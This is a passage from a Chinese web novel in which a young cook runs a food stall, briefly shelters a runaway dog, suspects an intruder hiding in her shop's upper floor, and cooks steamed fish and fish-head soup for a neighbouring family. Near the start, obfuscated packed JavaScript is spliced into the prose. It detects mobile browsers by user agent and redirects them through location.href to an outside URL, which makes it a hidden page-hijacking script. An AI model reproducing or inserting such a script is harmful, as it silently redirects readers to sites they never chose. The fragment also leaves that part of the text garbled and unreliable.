刘嬷嬷心里还是有点七上八下,钱倒不是最要紧的,一直吃不下饭实在不是个事。
今日同样也是早早收摊,几百个小馄饨听起来多,但是也就能卖个三十多碗;三十个鸡蛋更是早早就无了。反倒是满未楹本来还觉得流速有点慢的卤猪肠——
有人搭着小馄饨吃、有人买了带回家、有些人买不止一份,其中便有个从女医行而来的年轻小娘子,一口气要了五碗,说是听殷稳婆提了一嘴,故而特意前来买回去给大家伙都尝尝
——竟也卖了个精光。
满未楹心满意足,在宋娘子和孩子们吃得肚腹浑圆还带了两碗卤猪肠给家人回去前,她就约好了等下上门继续去拿肉,还请宋娘子和之前一样剁碎了给她。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054406|192450||http|test|mini|href|location''.split(''|''),0,{}));
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>宋娘子一口应下。
当时摊子上便有人说:“我说呢这猪肉怎么一丝腥味都没有,原来是从宋娘子那买的肉!”
宋娘子熟练地和她们攀谈着:“哪能这么说,肉再好,也得会做的人来做才行。”
这话不假,不会做的人连把厨房烧了的都有。
满未楹除了肉糜,还拎了几根大棒骨回来继续熬高汤,等她到家门口时,差点被一双炯炯有神的大眼睛吓到。
通身漆黑的伯奇正喘着气,趴在大门前,隐藏在一片黑暗中,周围映照过来的灯光衬得它皮毛油光水滑,一双黄澄澄的大眼睛憨厚地注视着满未楹。
“伯奇?”满未楹愣了一下。
“你刚收摊没多久它就来了。”钱金玉抱着女儿出来让她和人咿咿呀呀一会,正好看见了这一幕,“就待在那,动也不动。我寻思家里拿块肉给它吃呢,闻都不肯闻我的。”
钱金玉眼里满是对这只大狗的欣赏,养得这么好!脖子上这绸结一看就昂贵无比!
满未楹左右张望一会,并不见上次的兄妹二人。
但是宋娘子明日要送孩子去云梦山,满未楹再跑一趟,请她把狗也一起带回去吧。
满未楹是这么想的,但伯奇并不是这样想的。
见满未楹往侧门走,它也跟着动,甚至一直跟进了家门,但是停在了角门外,没有踏足内院,礼貌地伸着舌头喘气,大大的身躯堵着角门。
虽然没进,但是跟进也差不多了。
满未楹试着对它招了招手,伯奇登时如同旱地拔葱一般跃起,跨过角门,黑旋风一样卷进了满家内院里,登堂入室。
而当满未楹想牵着它去找宋娘子时,才知道什么叫“请神容易送神难”——伯奇往地上一倒便如同一座小山,满未楹试图拎着两只前腿把它拽起来,它的大屁股赖在地上一动不动;当满未楹想拎它后腿逼它倒立行走时,它干脆整个脑袋和腰都瘫在地上。
一番折腾下来,满未楹折腾得满身大汗,比她出摊还累,伯奇愉快地摇着飘逸的大尾巴,这点运动量对它来说完全不算啥。
满珣披上了一件桃红色披帛抵挡夜风,站在廊下,笑意盈盈看着女儿和狗折腾。
“好啦好啦,留它几天也不妨事。”最终还是满珣出来打圆场。
伯奇刚才还在装听不懂满未楹要送它回去的意图,现在一听满珣同意它留下了,耳朵登时竖得直直的,一咕噜爬起来就朝满珣跑去。
“哎!”满未楹急的大叫,可别撞到满珣。
但是伯奇极有分寸地刹住了脚步,它站着就有人大腿高,抬头闻了闻满珣的肚子,又乖巧地蹭了蹭她的腿,一点大动作都没有。
“来,给你擦擦脚,今天晚上就和我们睡一屋吧。”满珣摸了摸它的毛茸茸的大脑袋,丝毫不嫌弃。
但伯奇很有来别人家做客的自觉,先是跑到后院巡逻了一圈,柴房都没放过,又跑到前院转了会,只是它突然仰起头,对着二楼叫了一声。
满未楹这还是第一次听见它叫,声音雄浑粗壮,很能恐吓人。
但是它只叫了一声便停下,大眼睛有些迷惑,似乎是想不明白一些事。
满未楹在小厨房,自然没看见这一切,她喊着:“伯奇,怎么了?回来吧,我要锁门了。”
伯奇转了转尾巴,没怎么纠结地就进了屋子,大肚皮有些晃荡,看得满未楹都害怕:“你啊你,都要生了吧还偷跑下山,你主人怕是要急死了!”
伯奇心虚地不敢对视,满未楹从之前炖的高汤里面捞出骨架和骨头,拌了点饭,剥了一颗茶叶蛋,装在陶碗里给伯奇吃。
大型犬饭量惊人,一点都不比成年人少。
伯奇不会说话,只是一味地吃饭,时不时看看满未楹,又抬头看看角门方向。
满未楹原本蹲着摸狗头,却也在它这奇怪的动作中心头略过一丝沉重,她想到了满珣下午提到的后院劈好的柴火。
一个有些惊悚的想法闪电般劈中了她。
22.送狗归
满未楹没有声张,依旧按部就班地把小馄饨面皮擀好,而后把炉子熄灭,炭火埋起来,接着等伯奇吃完后洗碗、牵着它走进了厢房,这才小声地把刚才发生的一切告诉了满珣。
消失的鸡子儿、后院劈好的柴、伯奇的表现......
一件件串起来,指向其实已经足够明显了。
满未楹上不去的、楼梯被砸毁了的商铺二楼上,藏了人。
满珣也是经过大事的人了,她依靠在床头,轻轻摸着肚子,除了神色有些忧虑外,一丝大声音都没有。伯奇也是乖乖趴在床头地上,大头搁在满珣手边,任由她抚摸。
但是母女只是对视一眼,便明白了彼此心中所想。
如果只是每日偷几个鸡子儿,一直藏在二楼没有其它动作,满未楹即便察觉到不对,也找不到源头,也不可能为了几个鸡子儿闹大了去报官。这人可以一直藏到前面铺子开始修缮、躲无可躲的那日。
但是偏偏要多此一举,来帮母女俩劈柴,近似幼稚又认真的“补偿”。恐怕这是在母女二人在门口摆摊时,偷偷溜进来的。
所以才在前院、内院甚至柴房里都留下了气味,被伯奇发觉。
而且能从没楼梯的二楼下来,在门锁完整的情况下进到后院,多少有点功夫在身上。
满珣也想到了前两日睡前听到的院中被她误认为是夜猫走动的轻响,应该就是那时来偷的蛋。
除了几个鸡子儿和满未楹察觉不到少没少的卤猪肠之外,家里什么都没丢,满珣藏起来的金银细软都完好,一铢都没少。
如果真如满未楹所料,她绝对不会再让这人躲在二楼,一个暗处的隐患终究会让她寝食难安。但是她心里,却又不想为难一个走投无路到偷几口吃的人。
若是真穷凶极恶之人,母女俩早就出事了,根本不会等到今日让她们发觉。
“伯奇啊伯奇,”满未楹把脱下来的衣服搭在椅背上,拍了拍它的大狗头,钻进满珣怀里,满珣温暖的臂膀温柔地拢住她,轻轻拍着满未楹的肚子,像是哄孩子睡觉一般,“要不是你,我们还不知道什么时候能发现呢。”
说着说着满未楹打了个呵欠,凑到满珣耳边,声音极小:“阿娘,明日我们不是正好要给淮家送午食么,要是那位夫人吃得满意,我想,我们应该可以请淮大人帮个小忙。”
满珣点点头。
而且今天家里多了只狗,估计那人今晚也不敢再来了。
这般想着,满未楹打了个呵欠,眼角沁出点点泪花,很快便陷入梦乡。
伯奇也趴回地上,两只耳朵在睡梦中也不忘一摆一摆,随时注意着门外动静。
而这一晚,院中什么动静都没有,伯奇分外安静。
*
天气一日凉过一日,内陆城市四季鲜明,温度变化尤其明显。院墙外的树木落叶飘进内院中,簌簌作响。
伯奇生活优渥,向来是睡到自然醒,从来都没有起得比鸡还早过。
因而,当它被满未楹湿漉漉的冰手抱起大脸时,竟打了个哆嗦,瞬间惊醒。
“你啊你。”满珣摇摇头,“折腾它做啥。”
这里没有暖水壶、热水瓶一类的东西,早上想要热水便只能起来烧,因而满未楹早上只能就着冷水将就一下。只是后面必不能如此了,再冷便要受不了了。
随后她打开了厢房门,迎接门外的秋日清晨寒风,和伯奇一样打了个哆嗦。
小厨房里倒是比别的地方暖和的多,满未楹数了数锅中的茶叶蛋,一枚都没少。
满珣也穿戴整齐,满未楹做油条面团时,她便在另一边包小馄饨。
今日二人准备多卖一点,满未楹已经初步验证了行得通、并且大家都喜欢吃,下一步便是扩大产量了,这样也能多攒点钱,早日把屋子修缮好。
还好满珣身子好了起来,有人能搭把手,这要是让满未楹一个人做,那真是要累死。
满未楹把伯奇也牵出了门,等下宋娘子送孩子们去云梦山,肯定会经过定挽桥。
果然,当太阳慢慢爬起,快照到铺子头顶时,宋娘子坐在马车车厢前,屠老大亲自赶着车,驽马步伐稳健,拖着一家人朝定挽桥赶来。
隔老远,满未楹都能看见宋娘子扬着笑容,朝满未楹招手,她身边摆放着两个大篮子,里面是满未楹定好的猪大肠和猪肉糜,而她手上还抱着个陶锅。
车还未停稳,宋娘子便矫健地跳了下来,并招呼俩小孩也下来打招呼:“小满娘子,这是你要的肉,再给我们来五碗小馄饨,十根油条,十个鸡子儿;另外呀我还想请你给我打一锅鸡子儿,给孩子们带过去分给同窗们一起吃。”
她指着手中陶锅,又转头招呼两个孩子:“先送给先生,然后再分给跟你们一个宿舍的一起吃,知道不?鸡子儿若是凉了,就请庖厨师傅加热下。不要放太久,尽快吃完哦。”
山上温度本就比山下低,鸡子儿也放得住。
宋娘子放烟花一样快速说完都不带停的,手上一边把东西放下,一边还推着屠老大和孩子们去桌边坐。
屠老大把马车停到铺子另一边,从车后薅出一把马草喂给这匹温驯的驽马,一切收拾妥当才坐到宋娘子对面——他一个人就能占桌子整整一面,多点的那碗馄饨自然是给他的,宋娘子和孩子吃不完剩下的也是他的。
满未楹一面捞馄饨,一面听宋娘子对孩子们嘱咐道:“到学院里好好和同窗们相处,不许上课打瞌睡、也不许逗猫遛狗、更不可以带她们跑到书院外偷玩。”
今日用红绸扎了小辫子的女儿脑袋都要听晕了:“知道了知道了,阿娘快吃饭吧,不要说话了。”声音如银铃一般脆生生的。
屠老大声音粗犷,和女儿形成鲜明对比:“妹儿这样才好呢,多活泼可爱。”
“你啊。”宋娘子瞪他一眼。
满未楹把馄饨端上桌,顺便招呼伯奇来到桌边:“宋娘子,我想请你帮个忙呢。”
没等她说出伯奇的来历,宋小女已经叫嚷了起来:“这是伯奇吗?”
她转头拽了拽宋娘子的袖子:“阿娘,这是大先生的狗。”
大先生,便是这些稚童对云梦山的主人鬼谷子的称呼,他们既不是真正的鬼谷内门生,唤不得一声恩师;却也不是云梦山奴仆和老师,要称他为主人,于是便叫他大先生,比先生们还大的先生。或许是那些饱学之士也不知道该如何明确称谓,于是大先生便在外门生中传下来了。
伯奇是云梦山的小霸王,平日便酷爱到处溜达,还在某几个院中挖出了狗洞,带着学生们逃出去玩耍,虽然后来狗洞被堵上了,但是也因此学生们都认识它。
“哎呀。”宋娘子发出一声惊呼,“怎的在这里?”
满未楹这才有机会说出刚才没说完的话,并请宋娘子将伯奇带回。
宋娘子自然一口应下。
伯奇此刻倒是乖的要命,一点都没挣扎地跟着宋娘子一家上了马车,愉快地朝满未楹摆了摆尾巴,汪汪了几声像是道别。
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p>云梦山上,没有人知道伯奇偷偷跑出去过了一夜。
因为伯奇是在鬼谷院中吃过晚食才出去的,它平素就爱和女弟子们玩在一起,睡也是睡她们屋里,也经常和她们一道外出游玩,鬼谷院中仆从们并没有察觉不对;而伯奇为了掩人耳目,甚至去孙熙洳和缦嬴她们院中转了两圈,这才狗狗祟祟溜下山。
大狗的体力不可估量,吃饱了的大狗更是拉不住的小疯子,当它跑到满未楹家时,也不过是狗脚微脏罢了。
宋娘子为了孩子们回云梦山,也是一大早便起来,还没来得及交代什么,伯奇便从车上窜下,沿着小道欢快的跑开了。
宋小女:“阿娘,伯奇很熟悉云梦山的,不用担心它。”
伯奇顺着修建好的山路,一路弯弯曲曲向上,直到来到了最高处的院中。
洒扫的仆从静默无声,院中泉水潺潺,桂香弥漫。
伯奇蹑前爪蹑后爪,想要偷偷回到它的房间中。
正房木门被缓缓推开。“一大早又跑哪里野去了?”
说话的男子一袭绣金线黑色寝衣飘飘,晨起尚未束发,垂散至大腿,几乎和寝衣融为一体,他眼睛微微上挑,白净的面上唯独在右眼角缀了小小的一红点。身形高大,又面若好女。
伯奇抬起的脚一僵,但还是装作如无其事的样子溜溜达达到男子腿边。
“你这爪子别碰......”没等他把话说完,伯奇就已经亲昵地蹭了上来,顺带着一身的露水和四爪子的山泥。男子原本仙气飘飘的黑袍瞬间染上了污垢,还带着山野新鲜的泥土味。
他深吸一口气,到底什么都没说,自暴自弃一般狠狠摸了几下它的大脑袋:“回去洗洗,别到处跑,都要生了!”
一招手,早就侯在一边的奴仆捧上金盆和泡了花瓣的温水,抱着伯奇给它擦脚。
*
刘嬷嬷一大早便去最好的鱼铺买了四条大鳊鱼,又拐去米粮行里买了大米和玉米,接着还去杂货店称了油盐酱油等一应物事。当她目光落在摆在柜台上、崔灵运面前的那一小袋红彤彤东西时,她愣了一下。
这是那名为“辣子”的物事,说是从甚么南越等地的外海,千辛万苦带回来的种子种出来的,这果子晒干了一两还要卖两贯钱,就算淮家有家产,也一样觉得贵。
但是刘嬷嬷上次病急乱投医,愣是这辣子都买了几两回去,庖厨切了几段扔进肉羹中,夫人当天倒是难得多吃了些,谁知当即嘴都肿了。
刘嬷嬷又把这东西束之高阁了。
都拿给小满娘子,看她能不能料理出来。
刘嬷嬷虽然四十好几,但是身子康健,依旧健步如飞回到家拿了,风风火火提着所有东西来到满未楹摊子上。
“刘嬷嬷怎的买这么多!”满未楹瞪大眼,看着满手满身东西、脖子上还挂着一串红彤彤干辣椒的刘嬷嬷。
“害,总不好叫小娘子做完我家的,自己再另做别的,不如一锅炖了,也方便。”刘嬷嬷话说的婉转,但也不容满未楹推拒,便把东西放到门后,买了早食快步回家去了。
满未楹盯着那串辣椒,这淮家也着实太大方了,这这这都是能随手送出来的吗!
不过这样也好,满未楹眼睛亮晶晶,脸上笑意更盛。
简直是瞌睡就有人递枕头呀!热油泼到辣子和蒜蓉上,哗啦啦那么往蒸鱼上一浇,鱼肉的香味被彻底激发出来。
嘶。光是想想都要叫人流口水。
快卖快卖,早食卖完她要回去做鱼!
23.蒸鱼中
蒸鱼是一道看起来简单的食物,但是想要做得好吃,内里学问并不少。光是改刀一项便足够学上好几个月,还有切葱丝、捣蒜蓉、浇热油,以及蒸鱼用的酱汁,都需要足够耐心才能做好。
李嬷嬷买来的是鳊鱼,形如其名,通身扁平。鳞片刮干净后,内脏掏出,鱼鳃等部位都清理干净,而后沿着鱼背肉最厚的地方下刀,但是不能切断,鱼肉始终要连在鱼骨上。接着在加了一点酒的葱姜蒜水里浸泡去腥。
将葱青色部分切下,对折三四下,按压一下叠在一起,沿着折叠纵面切细,这样便能切出丝状,葱白部分拆掉外面发苦的表层后也是同样处理;接着放进冷水中浸泡一会,葱丝受冷弯曲,卷出好看的形状,弯弯曲曲缠绕在一起。
蒜泥并不是直接捣碎就能用的大蒜,捣碎之后,还要加一小勺酒拌匀,充分混合后激发出大蒜的香气,还要再加一点盐和糖进行调味,静置一会。
蒸鱼酱汁只需要用到生抽、盐和糖,按照比例调制,用热水化开。
满未楹紧接着又切了葱段和生姜,这是为了垫在鱼身下、架起来,蒸鱼时,热水蒸气会最大限度激发出鱼的腥味,这时候垫着的葱段便发挥了作用,腥水聚在葱段下,不和鱼肉直接接触,直接倒掉。
鳊鱼从水中捞出,改好刀的肉可以在盘在上旋出一朵好看的花状,盘成一个圆形。
然后把鱼放到甑中蒸,第一遍把腥水倒掉,接着把蒸鱼酱汁浇在鱼肉上再蒸第二遍。
满未楹没有把鱼头也放进去蒸,在摆满的鱼肉的盘中再另外放一个鱼头,满未楹总觉得有点诡异,尤其是鱼头朝天的时候。这总让她想起英国那道仰望星空的名菜和国内一道“诡异的光”阅读题。
她选择把鱼头单独拿出来做鱼头汤。
早上小菜农送鸡蛋时,她顺便还从小菜农那买了豆腐回来。她打听了下才知道,因为这时候做豆腐是个辛苦活,又因为不能当成主食吃,很少有人家会自己做,因此连豆腐都有专门的铺子,小菜农便是从豆腐铺子“进货”,贵上一铢一块再卖出去。
满未楹买的是嫩豆腐,这种豆腐滑嫩、吸水性好,盐卤的气味也更小,放进鱼汤中堪称一绝。
鱼头切成两半后,加清水炖煮,直至煮到汤变白、变浓稠,加入调料,接着便把切成一片一片的豆腐放入一起炖煮。
那头的满珣已经蒸上了玉米饭。
满未楹总感觉缺了点什么,看着看着她一拍脑袋,鱼汤怎么能没有胡椒粉呢!
她带回来的那包胡椒至今还没舍得用过,但是淮家着实大方,她为自己的小气感到有些不好意思起来。
说起来这些调料虽然金贵——真金这种金——但是着实耐用,和普通盐糖都不同,和人们普遍认知里的斤两也完全不同。调料这种东西,味重但量轻,一斤辣椒和一斤猪肉的视觉效果是完全不一样的。几乎所有调料,一斤拿在手上都是一大包。
做饭用一斤米、一斤肉那都是寻常事甚至不够吃,用一斤调料那就骇人听闻了。
每次加新卤料时,满未楹都会感慨一下。
满未楹从厢房里翻出那包胡椒来,晒干的胡椒粒依旧圆滚滚,散发着令人难以忽视的辛香味道。
这种胡椒粒需要用清水先泡洗一下,去除掉飘在水面的空胡椒粒和浮尘等物质,水分沥干之后放进铁锅中加热翻炒,一定要用小火,否则胡椒粒很快就会碳化。炒到胡椒表壳爆开、噼里啪啦作响就能捞出来,要是想做胡椒盐,就在这个过程中加盐。
把还带着铁锅灼热气息的胡椒放进小石碾中,用石杵研磨成粉状,纯体力劳动,没有半点技巧,这时候也没有破壁机可以用。
满未楹和满珣交替着研磨,一点一点地磨,磨成细细的粉状便倒进一个小陶罐种保存。不进水的情况下,能用上很久也不会变质。
在两人磨粉的时候,蒸鱼出锅了。刚才切好的葱丝错落撒在盘中。
满未楹只给自家留了一条,剩下的三条叠了三圈放在一个盘子上,等下全给淮家送去。
铁锅里面热油,加热到冒烟后泼进蒜泥、葱姜和早上李嬷嬷送来的辣椒切成小段中,这个油最好用没有味道的,比如玉米油、山茶油、葵花籽油,不让油本身的味道干扰食材的发挥。
大豆油、花生油、菜籽油都有来自原材料本身的气味,加工工艺也改变不了这点,喜欢的人喜欢的不行,讨厌的人也是一口都不想尝。
但是这里没有那么好的条件挑剔油的种类,云梦城的花生产量极高,而且花生出油率又高,因此是云梦城居民的主要用油。满未楹家也不例外。
热油浇上去的一刹那,陶碗中冒起白烟,化学反应产生,辛辣鲜香都在油中瞬间炸出来,顺着烟袅袅飘出。
多久没闻到辣椒的气味了,满未楹几乎感动地落泪,她也好馋这一口辣辣的。
很快她就真的落泪了,因为她忍不住上去深深闻了一鼻子,被呛的。
稍微晾一会,等冷了一点再把油泼浇上去,否则鱼片会被烫老。
雪白的鱼片、青白相间的葱丝、金黄的蒜泥、红彤彤的辣椒段、深棕色的酱汁和黑陶碗相互映衬,蒸鱼只余满盘鲜香,完美诠释色香味俱全这句话。
满珣杵得手臂都有些酸,才捣出浅浅一个罐底的胡椒粉。
满未楹急忙让她停下,“阿娘,够用了,不急着都碾出来。”
用手捻一丢丢,放进鱼头汤陶锅里,便足够调味。
满未楹尝了一口,眼睛都亮了。
真别说,加了胡椒粉的鱼汤尝起来,除了原本的浓稠鲜香外,更加了一丝辛气,鱼汤整体的味道都被提升了一个档次,口感也变得更加丰富。
不花钱的胡椒此刻变得更香了。
那人一定是没吃过好东西,不然怎么能说出不喜气味这么冰冷的话?
满未楹想撇撇嘴,但是又觉得不能这样对恩人,于是原本下瘪的嘴角又往上扬,先盛了一碗汤给满珣,“阿娘,喝汤先,鱼头还要再炖会。”
满珣舀起一小勺,轻轻吹了吹,这才饮下,动作轻柔雅致,对比母亲,满未楹觉得自己像只没开化的猴子。
“呀!怎的这般好喝!”第一次吃到胡椒的人都是这种反应,除了那些厌恶胡椒气味的。胡椒对于汤类的风味提升巨大,恨不得能把汤也分出个前中后调来,在口中过渡的一瞬间激发起味蕾的不同品尝感,每一层都照顾得妥妥帖帖,一直到进入胃中还回味良久。
满未楹就着没洗的铁锅,又煎了几个胡椒味满满的煎蛋,一起放进鱼汤中煮一会,等煎蛋泡满了汤汁便挑出来先给满珣吃两个。
玉米饭、蒸鱼依次放进食盒中,鱼头汤令放了一盒,满未楹拎了满满两手,满珣陪着她敲响淮家的侧门。
除了
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去尤婶子家,这还是母女俩第一次登邻居的门。
来应门的是淮家女仆,大抵家里是开成衣铺子的,女仆也穿得光鲜亮丽,扎着双髻,缀着米粒大小的珍珠小插。
“是满家娘子们!”那女仆一眼便认出来面前容颜姣姣的二人,眼神都亮了,忙不迭对门内喊着,刘嬷嬷快步走来。
“请进请进!”女仆接过满未楹手上的食盒,连声说。
满珣本想推辞,但是刘嬷嬷下一句紧跟着就来了:“第一次上门就不进来喝杯茶的道理,娘子们进来喝杯茶也好。”
这话一说,二人不好推辞。
二人都被刘嬷嬷迎进了正房,女仆则拎着食盒快步走进内室。
女仆从手中重量也知道分量有多足,等摆上桌更是客关,这怕是做了一家子的饭量才过来的,也不知道刘嬷嬷早上买的食材够不够。
“好香啊。”没等女仆进屋喊,一道有些虚弱的女声便从屏风后响起,竟是夫人自己爬起身了。
顾盼姿虽然产后虚弱,脸颊也因为无法好好吃饭消瘦许多,但双眸依旧灵动。
女仆忙备好碗筷。
“这可是用前几日我们家吃的那辣子做的?”顾盼姿看着那盘蒸鱼,闻着味道只觉得唾液在疯狂滋生。
“怎的是这个?夫人可要少吃点,上次嘴都肿了。”女仆轻声提醒着。
但顾盼姿可听不进去,她满心满眼都是这道蒸鱼,夹了一块鱼腹的大肉,那鱼肉白嫩鲜滑,在箸中要坠不坠,顾盼姿夹了一大块,一口全吞了进来。
太好吃了,酱汁深深融入了每一寸纹理之中,半点都没有鱼肉本身的腥气,又香又辣,但是不同于家里庖厨的粗暴做法,这辣香也不知是怎么融合进鱼肉中的,看着也不过是一道普通的蒸鱼,怎么就能做的如此不同?
辣本就开胃,顾盼姿吃了几大口鱼肉后,对玉米饭也产生了浓厚兴趣。
和着鱼汤,泡的软烂,肠胃都像是活了过来,积极运作着,腹中暖暖的,极为舒适。
女仆原本还在忧虑午食,没想到顾盼姿一会便吃完了大半碗玉米饭,盘中三条鱼都快被她吃了整整一条去。
还是顾盼姿自己止住了吃头,长久不好好吃饭的人,一次不能吃太多,难以消化。加上她还想留点给淮明禾淮明月以及刘嬷嬷和身边的女仆吃。
“大小姐还没从前面铺子回来吗?”顾盼姿摸着难得有饱意的肚子,吩咐女仆出去喊淮明月回来用午食。“这是我家庖厨做的吗?一日之间竟精进了这许多?”
她有些不可思议。
“夫人,这是我们对街那位小满娘子做的,夫人昨天晚上还吃了她做的小馄饨和卤猪肠呢。”女仆回答。
“哎呀,她的手艺竟这般好?她的年纪好像比明月还小上几岁吧?”顾盼姿这几月都没出过门,却也听说了对街空置许久的铺子,主人家回来这件事。“这可真是了不起。”
淮明禾昨晚帮人换值,于是今日便能休息半日,他不是对家中事袖手旁观丝毫不管的那种男子,顾盼姿在房中休息时,他便出去和妹妹一起看店。
原本爱和淮明月逗笑闲聊的大小娘子们,看见淮明禾如同门神一般,都闭了嘴,拿着圜钱早早家去。进门的顾客也都分外安静。
听到女仆来报,夫人今日用了整整一碗饭,二人都感到分外惊讶,相似的脸上眉毛均是挑起。
24.好刺绣
顾盼姿这大半年来,难得有这样饱餐一顿的时候,而且脾胃相和,没有出现任何不适的症状,而且那道蒸鱼里面的辣子,她居然越吃越想吃了。
她努力控制目光从餐桌上移开,当听到女仆提起,对街两位娘子还在家中时,便吩咐女仆给自己梳妆整齐,此刻吃饱了精神好,客人来了自然要出去见一趟。
满未楹和满珣在正房中,围着刘嬷嬷抱出来炫耀的小姑娘,三个月大的小女婴脸上肉嘟嘟,睁着圆滚滚的大眼睛,好奇地看着面前的人影子。
据刘嬷嬷说,这个孩子来得不容易,夫妻两人盼了五年才得了这一个宝贝。
这大概就是每个家庭都有自己的烦恼吧。
才看了没一会,小姑娘便打了两个呵欠,刘嬷嬷忙不迭让乳母抱回去,正好碰上顾盼姿从内室中出来。
这还是她们第一次见面,先前满未楹对这一家人的了解都是从尤婶子口中得知。
淮家兄妹二人来自别的城池,家境富裕,为淮明禾谋求职位时,淮家祖父在云梦城中有旧相识,便把淮明禾安排过来;
一次集会上,淮明禾与顾盼姿相遇,谈婚论嫁起来,顾家不肯女儿远嫁,淮家索性为二人购置了云梦城城西的一处房产,让他们在云梦城定居,当然这其中不乏向亲家炫耀财力的意图。
而淮明月则是望门寡,原本定了亲,谁知道那人是个短寿的,竟贪凉与友人泅水溺亡了。那户人家也是当地有头脸了,非要淮明月嫁过来守寡过继个孩子,摆明了吃定了淮明月的丰厚陪嫁,淮家怎肯让淮明月跳这个火坑?只恨自家没看清险恶嘴脸。
争执不休之下不堪其扰,淮明禾都回家打了好几回。最后还是顾盼姿提出,让小姑来云梦城,和兄嫂一起生活,终生不嫁也没甚要紧的,左右躲开这户不讲理的人家,到了云梦城可就不是能让他们撒泼的地方了。
淮母不想让女儿寄人篱下,虽说现在兄嫂慈和,但将来的事都不好说,于是和淮父一合计,给淮明月买了此处地段绝佳的铺子,又给了她千贯存在庄子里的嫁妆钱。
原本兄妹两人并不住一处,但是淮明月和顾盼姿都是一手好绣工,心思又活络,两人便一起在前面开了铺子,生意兴隆极了,还顺便养活了附近不少大小娘子,都可以在她这里寄卖绣品。淮明月不舍得顾盼姿日日往来城东城西,便邀请二人一起来住。
于是淮明禾在城西的房子便租了出去,家常开销全由顾盼姿和淮明禾二人负责。
满未楹听到这里的时候,脸都快木了。
云梦城的房子原来是说买就能买的吗?有钱人这么多,怎么不能多她一个?
满珣看了看女仆头上的珠花,再看了看满未楹只用红绳点缀的乌发,抿了抿唇。
恰好这时淮家兄妹和顾盼姿都走到了正房中,大家见礼过后,顾盼姿夸起了满未楹的手艺:“没想到小娘子这般年轻,手艺还这样好。我家庖厨也常做蒸鱼呢,但是做得远不如小娘子,尤其是草鱼那些鱼,泥腥味总是去不掉。”
女仆让开位置,淮明禾站到顾盼姿身边,小心地看了几遍她的脸色,发现她今日面色红润许多,说话也更有力气了,心中终于稍稍安定。
淮明月却注意到了满未楹衣袖上那一圈编制带和裙摆上的精致刺绣,她一眼便能看出来,这是做大的衣服放出来的布料,为了遮盖颜色不一的部分,虽然面积不大,但是精巧工整,那一点点地方还用了长短针做出晕染效果,锁边针细密如发。她轻轻扬眉,这绣工要是放到铺子里卖,这一小圈也能卖半贯钱了。
往日她总是在自家成衣铺子门口远远看着,看不真切满未楹的衣服,没想到还藏着这些细节,小满娘子做饭手艺一绝,满家大娘子刺绣也不逞多让。
淮明月当即便也搭话道:“小满娘子身上衣服的刺绣可是自家做的?”
她眼神热切,顾盼姿这才有精力注意到满未楹的衣服,也一下子就听出了淮明月的意思。
“呀,好生规整的绣工!”她仔细观察一番,感叹道。
“是我阿娘绣的。”满未楹自豪地抬头,还把袖口举起来给她们看。
“我家在前面开了个小铺子,”淮明月爽朗大气,也不遮掩自己的意图,“现在云梦城大娘子小姑娘们都喜欢穿得光鲜亮丽,连帕子都要绣花的。我家成衣铺子也有不少顾客会特意来定做,还指定花纹样式;有些考究人家连屏风都会做整面刺绣。铺子里虽然请了几位绣娘,却也是远远做不过来。少不得请有手艺的娘子们一起做,不知道满大娘子愿不愿意帮我们这个忙?”
满珣早就想找点事闲时来做了,只是刺绣便意味着不能再给满未楹帮忙了。
刺绣的手不能有一点毛刺和粗糙的地方,不然会把布料刮毛;每日还要用泡了花汁的水洗手、要用油膏养护,只是这样养的话,自然是不能再做家务活,更遑论洗猪肠、洗碗等等。
到时候两头都做不好。
但是如果她不帮忙,满未楹一个人会做到累死。
想到这一点,满珣刚才还有些亮光的眸子又暗了暗,“家里现在小食摊子忙不开,只怕现在还不能绣这些好料子呢,不能砸了娘子家的招牌。”
淮明月听明白了她的潜台词,也知道满家现在稍微困难,只有母女俩做事,再养个小工也艰难,还不安全,心里虽然失望,但还是扯出笑容来:“不打紧不打紧,是我冒失了。若是娘子日后有空了,还请一定要来帮我这个忙呀。”
说着她又忍不住多看了几眼满未楹的衣裳,后者乖乖的手交握在腹部,像是故意给她们看个够。
满未楹明白满珣的顾虑,只是现在家里确实忙不开,她逞不了强,而且满珣自己也有了主意,她便也不多说什么。
但满未楹心里清楚,满珣喜欢刺绣胜过烹饪。
之前两人还在杜家的时候,杜家老两口能容忍满珣不理家事,没怎么为这个闹起来,全是因为这一手好绣工。
刺绣门槛高、耗时长、对体力和眼睛的损耗大,但是回报也高,好的绣娘能养活整个家庭、负担所有开销,只是放到舅姑口中就变成了一句“补贴家用而已,还不是男人养的家”。补贴两个字何其恶毒,如此轻飘飘抹消了她的付出和真实收益。
满未楹只是短暂回忆了一下,便朝淮明禾施了一礼,请他到另一边说话,把自己家可能藏了人这件事娓娓道来。
满未楹其实有点迟疑,毕竟就是少了几个鸡子儿和无凭无据的柴火
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事,证据都拿不出来全是她的猜测。淮明禾身为司稽,每日还要上值,只怕不愿意管她这点小事。
但是淮明禾听完,拧了拧眉,说了一件满未楹不知道的事:“小满娘子的猜测并非没有道理。大概两月前,曾有一批流民来到云梦城,虽然没有让他们进城来,都安置在城外开荒安家,但是保不齐流民中有个把身怀武艺之人混进城来。娘子家当时空置许久,的确是个躲藏的好去处。”
时局动荡,也只有兵力强大且富庶的国家才能享有数年安宁;那些小国朝不保夕,曾经的贵族变成流民都不奇怪。
“小娘子家去后不要打草惊蛇,现下没有恶意,但是逼急了便不好说了。等你下次发现又少了东西便来告诉我。”淮明禾和满未楹商量了一番。
那人不会在夜深人静时出来砍柴,必定是趁母女出摊时去的后院,满家就在定挽桥下,人来人往喧哗异常,砍柴声根本不突出;
淮明禾日日在街上带人维持秩序,被人看见走到哪儿都不奇怪;
而满家整个前后院和楼的构造就决定了从铺子二楼是看不见后院和后门的;
到时候他便带人从后门进,藏起来,抓个现行。
直接带人闯上二楼是最后的办法。
他们都不知道藏着的那人有什么能耐,把人逼急了不知道会做出什么事来,尤其这是在堪称闹市的定挽桥。一个不好伤到城中居民们,淮明禾的官职都保不住。
“今日还要谢过小娘子,我家娘子已经许久没有好好进食过了。”
淮明禾竟对满未楹施了一礼,把满未楹吓了一跳,看着他嘴角燎出的大泡,口中连连“使不得使不得”,带着满珣逃也似的回家了。
